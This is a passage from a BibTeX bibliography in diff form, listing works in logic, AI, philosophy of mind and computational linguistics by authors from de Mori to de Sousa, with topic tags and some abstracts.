Onologi + and Renato de Mori, "Basic Speech Sounds, their + Analysis and Features", pp. 69--121 + 4. Diego Giuliani and Daniele Falavigna and Renato de + Mori, "Parameter Transformation", pp. 123--139 + 5. Fabio Brugnara and Renato de Mori, "Acoustic + Modeling", pp. 141--170 + 6. Fabio Brugnara and Renato de Mori, "Training of + Acoustic Models", pp. 171--197 + 7. Marcello Federico and Renato de Mori, "Language + Modeling", pp. 199--230 + 8. Mauro Cettolo and Roberto Gretter and Renato de + Mori, "Knowledge Integration", pp. 231--256 + 9. Mauro Cettolo and Roberto Gretter and Renato de + Mori, "Search and Generation of Word + Hypotheses", pp. 287--309 + 10. Edmondo Trentin and Yoshua Bengio and Cesare + Furlanello and Renato de Mori, "Neural + Networks for Speech Recognition", pp. 311--361 + 11. Diego Giuliani and Renato de Mori, "Speaker + Adaptation", pp. 363--403 + 12. Chafic Mokbel and Denis Jouvet and Jean Monn\'e + and Renato de Mori, "Robust Speech + Recognition", pp. 405--460 + 13. Anna Corazza and Renato de Mori, "On the Use of + Formal Grammars", 461--484 + 14. Roland Kuhn and Renato de Mori, "Sentence + Interpretation", pp 485--522 + 15. David Sadek and Renato de Mori, "Dialogue + Systems", pp. 523--561 + 16. Christel Sorin and Renato de Mori, "Sentence + Generation", pp. 563--582 + 17. Giuliano Antoniol and Roberto Fiutem and Gianni + Lazzari and Renato de Mori, "System Architectures + and Applications", pp. 583--609 + } , + topic = {computational-dialogue;} + } + +@incollection{ demori:1998b, + author = {Renato de Mori}, + title = {Problems and Methods for Solution}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {1--22}, + address = {New York}, + contentnote = {This is an overview, and introduction to demori:1998a.}, + topic = {computational-dialogue;} + } + +@article{ demos:1964a, + author = {Raphael Demos}, + title = {Plato's Theory of Language}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {20}, + pages = {595--610}, + xref = {Comments: ackrill:1964a.}, + topic = {Plato;philosophy-of-language;} + } + +@incollection{ demri:1994a, + author = {St\'ephanie Demri}, + title = {Efficient Strategies for Automated Reasoning + in Modal Logics}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {182--197}, + address = {Berlin}, + topic = {modal-logic;theorem-proving;} + } + +@article{ demri:1999a, + author = {St\'ephane Demri}, + title = {A Logic with Relative Knowledge Operators}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {2}, + pages = {167--185}, + topic = {epistemic-logic;complexity-theory;completeness-theorems;} + } + +@article{ demri-gabbay:2000a, + author = {St\'ephanie Demri and Dov Gabbay}, + title = {On Modal Logics Characterized by Models with Relative + Accessibility Relations: Part {II}}, + journal = {Studia Logica}, + year = {2000}, + volume = {66}, + number = {3}, + pages = {349--384}, + topic = {modal-logic;} + } + +@article{ demri-gore:2000a, + author = {St\'ephane Demri and Rajeev Gor\'e}, + title = {Display Calculi for Logics with Relative Accessibility + Relations}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {213--236}, + topic = {epistemic-logic;modal-logic;proof-theory;display-logic;} + } + +@incollection{ dendikken-etal:1996a, + author = {Marcel den Dikken and Richard K. Larson and Peter + Ludlow}, + title = {Intensional `Transitive' Verbs and + Concealed Complement Clauses}, + booktitle = {Readings in the Philosophy of Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Peter Ludlow}, + pages = {1041--1053}, + address = {Cambridge, Massachusetts}, + topic = {intensional-transitive-verbs;intensionality;} + } + +@article{ denecke_hm:1977a, + author = {Heinz-Martin Denecke}, + title = {Quantum Logic of Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {405--413}, + topic = {quantum-logic;} + } + +@incollection{ denecke_m:1997a, + author = {Matthias Denecke}, + title = {A Programmable Multi-Blackboard Architecture + for Dialogue Processing Systems}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {98--105}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;} + } + +@inproceedings{ denecke_m-waibel:1999a, + author = {Matthias Denecke and Alex Waibel}, + title = {Integrating Knowledge Sources for the Specification of + a Task-Oriented Dialogue System}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {33--40}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;} + } + +@incollection{ denecker-etal:2002a, + author = {Marc Denecker and Victor W. Marek and Miroslaw Trusinski}, + title = {Ultimate Approximations in Nonmonotonic Knowledge + Representation Systems}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {177--188}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;well-founded-semantics;} + } + +@inproceedings{ deneker-etal:1999a, + author = {Marc Deneker and Viktor Marek and Miroslaw Truszczy\'nski}, + title = {Approximating Operators, Stable Operators, Well-Founded + Fixpoints and Applications in Nonmonotonic Reasoning}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {nonmonotonic-reasoning;logic-programming;stable-models; + fixpoint-semantics;} + } + +@inproceedings{ deneker-etal:2000a, + author = {Marc Denecker and Victor W. Marek and Miroslaw + Truszczy\'nski}, + title = {Uniform Semantic Treatment of Default and Autoepistemic + Logics}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {74--84}, + topic = {nonmonotonic-logic;default-logic;autoepistemic-logic;} + } + +@incollection{ deneker-etal:2000b, + author = {Marc Deneker and Viktor Marek and Miroslaw + Truszczy\'nski}, + title = {Approximations, Stable Operators, + Well-Founded Fixpoints and Applications in + Nonmonotonic Reasoning}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {127--144}, + address = {Dordrecht}, + topic = {logic-in-AI;nonmonotonic-logic;fixpoint-semantics; + stable-models;auotepistemic-logic;logic-programming;} + } + +@article{ denivelle:1998a, + author = {Hans de Nivelle}, + title = {Review of {\em The Resolution Calculus}, + by {A}lexander {L}eitsch}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {499--502}, + topic = {resolution;theorem-proving;} + } + +@article{ dennett:1971a1, + author = {Daniel C. Dennett}, + title = {Intentional Systems}, + journal = {The Journal of Philosophy}, + year = {1971}, + volume = {68}, + pages = {87--106}, + missinginfo = {number}, + xref = {Republished: dennett:1971a2.}, + topic = {foundations-of-cognition;philosophy-of-psychology; + philosophy-of-AI;} + } + +@incollection{ dennett:1971a2, + author = {Daniel C. Dennett}, + title = {Intentional Systems}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {220-- 242}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: dennett:1971a1.}, + topic = {foundations-of-cognition;philosophy-of-psychology; + philosophy-of-AI;} + } + +@incollection{ dennett:1975a, + author = {Douglas C. Dennett}, + title = {Brain Writing and Mind Reading}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {403--415}, + address = {Minneapolis, Minnesota}, + topic = {mental-representations;} + } + +@book{ dennett:1978a, + author = {Daniel C. Dennett}, + title = {Brainstorms}, + publisher = {Bradford Books}, + year = {1978}, + address = {Montgomery, Vermont}, + topic = {philosophy-of-mind;freedom;volition;} + } + +@book{ dennett-lambert:1978a, + editor = {Daniel C. Dennett and Kerel Lambert}, + title = {The Philosophical Lexicon}, + year = {1978}, + note = {Privately published.}, + topic = {humor;philosophy-general;} + } + +@article{ dennett:1982a, + author = {Daniel C. Dennett}, + title = {Recent Work in Philosophy of Interest to {AI}}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {1}, + pages = {3--5}, + topic = {philosophy-AI;} + } + +@article{ dennett:1983a, + author = {Daniel C. Dennett}, + title = {Styles of Mental Representation}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1983}, + volume = {83}, + note = {Supplementary Series.}, + pages = {213--226}, + topic = {foundations-of-cognition;philosophy-of-language; + philosophy-of-mind;} + } + +@book{ dennett:1984a, + author = {Daniel C. Dennett}, + title = {Elbow Room: The Varieties of Free Will Worth Wanting}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {freedom;} + } + +@article{ dennett:1984b, + author = {Daniel C. Dennett}, + title = {Recent Work in Philosophy {II}}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {3}, + pages = {231--233}, + topic = {frame-problem;philosophy-AI;} + } + +@incollection{ dennett:1986a, + author = {Daniel C. Dennett}, + title = {The Moral First Aid Manual}, + booktitle = {The {T}anner Lectures on Human Values, Volume {VIII}}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1988}, + pages = {119--147}, + topic = {ethics;} + } + +@book{ dennett:1987a, + author = {Daniel C. Dennett}, + title = {The Intentional Stance}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + ISBN = {026204093-X}, + topic = {intentionality;philosophy-of-psychology;} + } + +@incollection{ dennett:1987b, + author = {Daniel C. Dennett}, + title = {Cognitive Wheels: The Frame Problem of {AI}}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {41--64}, + topic = {frame-problem;philosophy-AI;} + } + +@book{ dennett:1991a, + author = {Daniel C. Dennett}, + title = {Consciousness Explained}, + publisher = {Little, Brown and Co.}, + year = {1991}, + address = {Boston}, + xref = {Review: lycan:1993a}, + topic = {philosophy-of-mind;consciousness;} + } + +@article{ dennett:1993a, + author = {Daniel C. Dennett}, + title = {Book Review of `Unified Theories of Cognition' + ({A}llen {N}ewell)}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {285--294}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@incollection{ dennett:1994a, + author = {Daniel C. Dennett}, + title = {Language and Intelligence}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {161--178}, + address = {Cambridge, England}, + topic = {philosophy-of-mind;foundations-of-cognition; + foundations-of-language;philosophy-of-language;} + } + +@book{ dennett:1996a, + author = {Daniel C. Dennett}, + title = {Kinds of Minds: Toward an Understanding + of Consciousness}, + publisher = {Basic Books}, + year = {1996}, + address = {New York}, + topic = {consciousness;} + } + +@incollection{ dennett:1996b, + author = {Daniel C. Dennett}, + title = {Producing Future by Telling Stories}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {1--7}, + address = {Norwood, New Jersey}, + topic = {frame-problem;philosophy-of-cogsci;} + } + +@book{ dennis-tapsfield:1996a, + editor = {Ian Dennis and Patrick Tapsfield}, + title = {Human Abilities: Their Nature and Measurement}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {cognitive-psychology;measurement-in-behavioral-science;} + } + +@book{ denzin-lincoln:1998a, + editor = {Norman K. Denzin and Yvonna S. Lincoln}, + title = {The Landscape of Qualitative Research}, + publisher = {Sage Publications}, + year = {1998}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ denzin-lincoln:1998b, + editor = {Norman K. Denzin and Yvonna S. Lincoln}, + title = {Strategies of Qualitative Inquiry}, + publisher = {Sage Publications}, + year = {1998}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ denzin-lincoln:1998c, + editor = {Norman K. Denzin and Yvonna S. Lincoln}, + title = {Collecting and Interpreting Qualitative Materials}, + publisher = {Sage Publications}, + year = {1998}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@incollection{ denzinger-dahn:1998a, + author = {J. Denzinger and I. Dahn}, + title = {Cooperating Theorem Provers}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ denzinger-fuchs:1998a, + author = {J. Denzinger and M. Fuchs}, + title = {A Comparison of Equality + Reasoning Heuristics}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ depaul-ramsey:1998a, + editor = {Michael R. De{P}aul and William Ramsey}, + title = {Rethinking Intuition}, + publisher = {Rowman \& Littlefield Publishers, Inc.}, + year = {1998}, + address = {Oxford}, + topic = {common-sense;} + } + +@article{ depaul:2002a, + author = {Michael R. DePaul}, + title = {Review of {\it Knowledge in a Social World}, by {A}lvin + {L}. {G}oldman}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {335--350}, + xref = {Review of: goldman:1999a.}, + topic = {epsitemology;social-philosophy;} + } + +@incollection{ depauw-daelemans:2000a, + author = {Guy de Pauw and Walter Daelemans}, + title = {The Role of Algorithm + Bias vs. Information Source in Learning Algorithms + for Morphosyntactic Disambiguation}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {19--24}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;disambiguation;} + } + +@article{ depraetere:1995a, + author = {Ilse Depraetere}, + title = {On the Necessity of Distinguishing Between (Un)Boundedness + and (A)Telicity}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {1}, + pages = {1--19}, + topic = {Aktionsarten;} + } + +@inproceedings{ deprez:1994a, + author = {Viviane Deprez}, + title = {Questions with Floated Quantifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {96--113}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-quantifiers;interrogatives;} + } + +@article{ deraedt-bruynooghe:1992a, + author = {Luc De Raedt and Maurice Bruynooghe}, + title = {Belief Updating from Integrity Constraints and Queries}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {291--307}, + topic = {belief-revision;} + } + +@article{ deraedt-dzeroski:1994a, + author = {Luc De Raedt and Sa\v{s}o D\v{z}eroski}, + title = {First-Order jk-Clausal Theories Are {PAC}-Learnable}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {375--392}, + acontentnote = {Abstract: + We present positive PAC-learning results for the nonmonotonic + inductive logic programming setting. In particular, we show that + first-order range-restricted clausal theories that consist of + clauses with up to k literals of size at most j each are + polynomial-sample polynomial-time PAC-learnable with one-sided + error from positive examples only. In our framework, concepts + are clausal theories and examples are finite interpretations. We + discuss the problems encountered when learning theories which + only have infinite nontrivial models and propose a way to avoid + these problems using a representation change called flattening. + Finally, we compare our results to PAC-learnability results for + the normal inductive logic programming setting. + } , + topic = {Horn-clause-abduction;PAC-learnability;polynomial-algorithms;} + } + +@article{ deraedt:1997a, + author = {Luc de Raedt}, + title = {Logical Settings for Concept-Learning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {187--201}, + topic = {machine-learning;} + } + +@inproceedings{ deraedt:1998a, + author = {Luc De Raedt}, + title = {An Inductive Logic Programming Query + Language for Database Mining (Extended Abstract)}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {1--13}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {inductive-logic-programming;} + } + +@book{ derijke:1995a, + editor = {Maarten de Rijke}, + title = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + contentnote = {TC: + 1. Johan van Benthem, "Beyond Accessibility: Functional + Models for Modal Logic", pp. 1--18 + 2. Patrick Blackburn, "Modal Logic and Attribute + Value Structures", pp. 19--65 + 3. Tijn Borghus, "Interpreting Modal Natural Deduction in + Type Theory", pp. 67--102 + 4. Kosta Do\v{s}en, "Modal Translations in K and + D", pp. 103--127 + 5. Jan O.M. Jaspars, "Logical Omniscience and + Inconsistent Belief", pp. 129--146 + 6. Catholijn Jonker, "Cautious Backtracking in Truth + Maintenance Systems", pp. 147--173 + 7. Marcus Kracht, "How Completeness and Correspondence + Theory Got Married", pp. 175--214 + 8. Dirk Roorda, "Dyadic Modalities and Lambek + Calculus", pp. 215--253 + 9. Valentin Shehtman, "A Logic with Progressive + Tenses", pp. 255--285 + 10. Edith Spaan, "The Complexity of Propositional Tense + Logics", pp. 287--307 + 11. Elias Thijsse, "On Total Awareness Logics", pp. 309--347 + 12. Yde Venema, "Completeness via Completeness: Since and + Until", pp. 349--358 + 13. Gerard Vreeswijk, "The Feasibility of Defeat in + Defeasible Reasoning", pp. 359--380 + }, + topic = {nonmonotonic-logic;logic-in-AI;} + } + +@article{ derijke:1995b, + author = {Maarten de Rijke}, + title = {The Logic of {P}eirce Algebras}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {3}, + pages = {227--250}, + topic = {algebraic-logic;modal-logic;} + } + +@article{ derijke-venema:1995a, + author = {Maarten de Rijke and Yde Venema}, + title = {Sahlqvist's Theorem for Boolean Algebras with Operators + with an Application to Cylindric Algebras}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + number = {1}, + pages = {61--78}, + topic = {algebraic-logic;} + } + +@book{ derijke:1997a, + author = {Maarten de Rijke}, + title = {Advances in Intensional Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + contentnote = {TC: + 1. Johan van Benthem and N. Alechina, "Modal Quantification + over Structured Domains" + 2. Patrick Blackburn and W. Meyer-Viol, "Model Logic and + Model-Theoretic Syntax" + 3. R.J.C.B. Queroz and Dov Gabbay, "The Functional + Interpretation of Modal Necessity" + 4. V.V. Rybakov, "Logics of Schemes for "First-Order + Theories and Poly-Modal Propositional Logic" + 5. J. Seligman, "The Logic of Correct Description" + 6. D. Vakaralov, "Modal Logic of Arrows" + 7. H. Wansing, "A Full-Circle Theorem for Simple + Tense Logic" + 8. M. Zakharyaschev, "Canonical Formulas for Modal and + Superintuitionistic Logics: A Short Outline" + 9. E.N. Zalta, "The Modal Subject Calculus and its + Interpretation" + } , + ISBN = {0792347110}, + topic = {modal-logic;} + } + +@article{ derijke:1997b, + author = {Maarten de Rijke}, + title = {A System of Dynamic Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {2}, + pages = {109--142}, + topic = {dynamic-logic;modal-logic;} + } + +@article{ derijke:1999a, + author = {Maarten de Rijke}, + title = {Review of {\em {L}ogical Reasoning with Diagrams}, edited + by {G}erard {A}llwein and {J}on {B}arwise}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {387--390}, + xref = {Review of allwein-barwise:1996a.}, + topic = {diagrams;reasoning-with-diagrams; + logical-reasoning;visual-reasoning;} + } + +@article{ derijke:1999b, + author = {Maarten de Rijke}, + title = {Review of {\it Information Flow: The Logic of Distributed + Systems}, by {J}on {B}arwise and {J}erry {S}eligman}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1836}, + xref = {Review of barwise-seligman:1997a.}, + topic = {information-flow-theory;distributed-systems;} + } + +@article{ derijke:2000a, + author = {Maartin de Rijke}, + title = {Review of {\em Handbook of Tableau Methods}, edited by + {M}arcello {D}'{A}gostino, {D}ov {M}. {G}abbay, + {R}einer {H}\"anle and {J}oachim {P}osegga}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {4}, + pages = {518--523}, + xref = {Review of: dagostino_m-etal:1999a.}, + topic = {proof-theory;} + } + +@incollection{ derijke:2001a, + author = {Maarten de Rijke}, + title = {Computing with Meaning}, + booktitle = {Logic in Action}, + publisher = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {2001}, + editor = {Johan van Benthen and Paul Dekker and Jan van Eijk and + Maarten de Rijke and Yde Venema}, + pages = {75--113}, + address = {Amsterdam}, + topic = {computational-semantics;information-retrieval;} + } + +@article{ dermitas-kokkinakis:1995a, + author = {Evangelos Dermitas and George Kokkinakis}, + title = {Automatic Stochastic Tagging of Natural Language Texts}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {137--163}, + topic = {part-of-speech-tagging;statistical-nlp;} + } + +@article{ derose:1991a, + author = {Keith DeRose}, + title = {Epistemic Possibilities}, + journal = {The Philosophical Review}, + year = {1991}, + volume = {107}, + number = {2}, + pages = {581--605}, + topic = {possibility;} + } + +@article{ derose:1995a, + author = {Keith DeRose}, + title = {Solving the Skeptical Problem}, + journal = {The Philosophical Review}, + year = {1995}, + volume = {104}, + number = {1}, + pages = {1--52}, + topic = {agent-attitudes;context;skepticism;} + } + +@article{ derose-grandy_re:1999a, + author = {Keith DeRose and Richard E. Grandy}, + title = {Conditional Assertions and `Biscuit' Conditionals}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {405--420}, + contentnote = {A "biscuit conditional" is one like Austin's + example, "There are biscuits on the sideboard if you + want some".}, + topic = {conditional-assertion;conditionals;} + } + +@book{ derouilhan:1996a, + author = {Philippe de Rouilhan}, + title = {Russell et le Cercle des Paradoxes}, + publisher = {\'Epim\'eth\'ee}, + year = {1996}, + address = {Presses Universitaires de France}, + xref = {Review: dacosta-bueno:1999a.}, + topic = {Russell;paradoxes;} + } + +@book{ derrida:1993a, + author = {Jacques Derrida}, + title = {Aporias}, + publisher = {Stanford University Press}, + year = {1993}, + address = {Stanford, California}, + topic = {postmodernism;} + } + +@article{ dershowitz:1985a, + author = {Nachum Dershowitz}, + title = {Synthetic Programming}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {3}, + pages = {323--373}, + acontentnote = {Abstract: + Given a formal specification for a desired program, our goal is + to transform it step-by-step into executable code. We proceed in + a top-down fashion - as suggested by `structured programming' + methodology. Each step consists of applying a synthesis rule to + rewrite a segment of the developing program in increased detail. + If every step is transparent enough to ensure correctness, each + partial program in the series is sure to be equivalent to its + predecessor. In particular, the final program is guaranteed to + satisfy the initial specifications. + In this paper, we concentrate on automatable strategies for + the formation of iterative loops, giving rules based on + `invariant assertions' and on `subgoal assertions'. } , + topic = {automatic-programming;} + } + +@article{ derthick:1990a, + author = {Mark Derthick}, + title = {Review of {\it Connections and Symbols}, + edited by {S}teven {P}inker and {J}acques {M}ehler}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {251--265}, + topic = {foundations-of-cognition;connectionism;} + } + +@article{ derthick:1990b, + author = {Mark Derthick}, + title = {Mundane Reasoning by Settling on a Plausible Model}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {107--157}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@article{ deruyver-hod:1997a, + author = {A. Deruyver and Y. Hod\'e}, + title = {Constraint Satisfaction Problem with Bilevel Constraint: + Application to Interpretation of Over Segmented Images}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {321--335}, + acontentnote = {Abstract: + In classical finite-domain constraint satisfaction problems, the + assumption made is that only one value is associated with only + one variable. For example, in pattern recognition one variable + is associated with only one segmented region. However, in + practice, regions are often over-segmented which results in + failure of any one to one mapping. This paper proposes a + definition of finite-domain constraint satisfaction problems + with bilevel constraints in order to take into account a many to + one relation between the values and the variables. The + additional level of constraint concerns the data assigned to the + same complex variable. Then, we give a definition of the arc + consistency problem for bilevel constraint satisfaction + checking. A new algorithm for arc consistency to deal with these + problems is presented as well. This extension of the arc + consistency algorithm retains its good properties and has a time + complexity in O(en3d2) in the worst case. This algorithm was + tested on medical images. These tests demonstrate its + reliability in correctly identifying the segmented regions even + when the image is over-segmented.}, + topic = {constraint-satisfaction;arc-(in)consistency;image-processing;} + } + +@book{ desain-honing:1992a, + author = {Peter Desain and Henkjan Honing}, + title = {Music, Mind and Machine: Studies in Computer Music, Music + Cognition and Artificial Intelligence}, + publisher = {Thesis Publishers}, + year = {1992}, + address = {Amsterdam}, + ISBN = {9051701497}, + xref = {Review: smoliar:1996a.}, + contentnote = {Includes material from both authors' theses and + most of their published works that were completed at the Utrecht + Centre for Knowledge Technology and at City University in London. + Includes bibliographical references.}, + xref = {Review: smoliar:1996a.}, + topic = {AI-and-music;} + } + +@article{ deschreye-etal:1989a, + author = {Danny de Schreye and Maurice Bruynooghe and Kristof + Verschaetse}, + title = {On the Existence of Nonterminating Queries for a + Restricted Class of {PROLOG}-Clauses}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {237--248}, + topic = {Prolog;AI-algorithms-analysis;} + } + +@book{ deschreye:1999a, + editor = {Danny De Schreye}, + title = {Logic Programming: Proceedings of the 1999 International + Conference on Logic Programming}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0262541041}, + topic = {logic-programming;} + } + +@article{ descotte-latombe:1985a, + author = {Yannick Descotte and Jean-Claude Latombe}, + title = {Making Compromises among Antagonist Constraints in a + Planner}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {2}, + pages = {183--217}, + topic = {planning-algorithms;conflict-resolution;} + } + +@article{ desjardins-etal:1999a, + author = {Marie E. {des}{J}ardins and Edmund H. Durfee and + Charles L {Ortiz, Jr.} and Michael Wolverton}, + title = {A Survey of Research in Distributed, Continual Planning}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {13--22}, + topic = {distributed-systems;planning;multiagent-planning;} + } + +@article{ desjardins-wolverton:1999a, + author = {Marie E. {des}{J}ardins and Michael Wolverton}, + title = {Coordinating a Distributed Planning System}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {45--53}, + topic = {multiagent-planning;distributed-systems;cooperation;} + } + +@inproceedings{ desmedt:1984a, + author = {Koenraad De Smedt}, + title = {Using Object-Oriented Knowledge-Representation + Techniques in Morphology and Syntax Programming}, + booktitle = {Proceedings, Sixth {E}uropean {C}onference on {A}rtificial + {I}ntelligence}, + year = {1984}, + pages = {181--184}, + missinginfo = {editor, organization, publisher, address } , + topic = {morphilogy;inheritance;nml;} + } + +@phdthesis{ desmedt:1990a, + author = {Koenraad De Smedt}, + title = {Incremental Sentence Generation: A Computer Model + of Grammatical Encoding}, + school = {Katholieke Universiteit te Nijmegen}, + year = {1990}, + type = {Ph.{D}. Dissertation}, + address = {Nijmegen}, + note = {Nijmegen Institute for + Cognition Research and Information Technology Technical + Report 90-01, 1990.}, + topic = {nl-processing;} + } + +@incollection{ desousa:1986a, + author = {Ronald B. de Sousa}, + title = {Desire and Time}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {83--100}, + address = {Chicago}, + topic = {desire;philosophical-psychology;temporal-reasoning; + practical-reasoning;} + } + +@book{ desousa:1987a, + author = {Ronald Desousa}, + title = {The Rationality of Emotion}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {emotion;} + } + +@article{ desousa:1998a, + author = {Ronald Desousa}, + title = {Individual Natures}, + journal = {Philosophia}, + year = {1998}, + volume = {26}, + number = {1--2}, + pages = {3--22}, + contentnote = {Considers the question of whether there can + be laws about human beings.}, + topic = {philosophy-of-psychology;human-nature;} + } + +@article{ desousa:2000a, + author = {Ronald de Sousa}, + title = {Review of {\it Artificial Intelligence and Literary + Creativity: Inside the Mind of {BRUTUS}, a Storytelling + Machine}, by {S}elmer {B}ringsford and {D}avid {A}. + {F}errucci}, + 